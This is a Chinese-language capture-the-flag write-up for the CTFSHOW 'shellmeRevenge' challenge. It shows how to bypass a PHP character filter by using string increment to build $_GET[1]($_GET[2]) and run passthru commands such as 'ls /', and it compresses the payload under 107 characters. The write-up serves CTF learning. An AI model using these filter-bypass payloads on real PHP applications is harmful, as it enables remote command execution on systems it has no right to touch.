CTFSHOW-shellmeRevenge-wp
0x1 分析
进入页面看到phpinfo
php版本为7.2.34
再看到被禁用的函数disable_function
发现 system, exec, shell_exec等都被禁用,但没有过滤passthru
查看网络流 发现包头的cookie中有hint: ?looklook
url加上?looklook=1可以得到源码
1 |
|
这里发现过滤了除C
以外的字母 除0-3
以外的数字
^
被过滤 用不了异或;~
被过滤 用不了取反 两个引号都被过滤
0x2 exp
这里考虑自增 这里不知道是不是作者弄错了第10行中的判断条件用的是||
所以就算长度超了107也没事 那我们先不管长度 用自增构造$_GET[1]($_GET[2])
注意因为过滤了引号 直接$a._
也可以实现连接 但调试的话php版本最好也是7.2 高版本这种操作可能不行
长度不限
1 |
|
去掉换行
1 | $_=[]._;$_=$_[0];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_=_.$_;$$_[1]($$_[2]); |
URL编码
1 | // ?looklook=1&1=passthru&2=ls / |
成功执行
长度<=107
如果10#
中的||
换成&&
的话 就需要压缩我们的payload了
思路:C -> E -> G
T
离得比较远 可以通过C/C.C
获取到NANC
进而 N->T
这里可能有人会想为什么不从Array
当中取出r
然后到t
呢 ? php对于函数名类名大小写不敏感 但是对于$_GET, $_POST
这一类变量是大小写敏感的 所以构造出的$_GEt
发挥不了作用
1 | $C=(C/C.C)[0]; // N |
更小:直接N -> O -> P -> S -> T
1 | $_=(_/_._)[0]; // N |
再压缩:将_POST
作为POST的参数
1 | $_=(_/_._)[_]; // N 注意这里的索引0有的php版本下也可以替换为非数字字符 |
删去换行 url编码后同样可以实现功能
几个压缩点:
- 行内自增完直接用就是新的值:
$C=$_.++$C;
- 多字符串一行拼接
$_=_.++$_.$C;
- 找就近字母递增,过程中有遇到符合的记录下,不每次从头开始
_/_, 0/0, C/C
都可以得到NAN
[0], [''=='.'], [_]
都有可能起到同样作用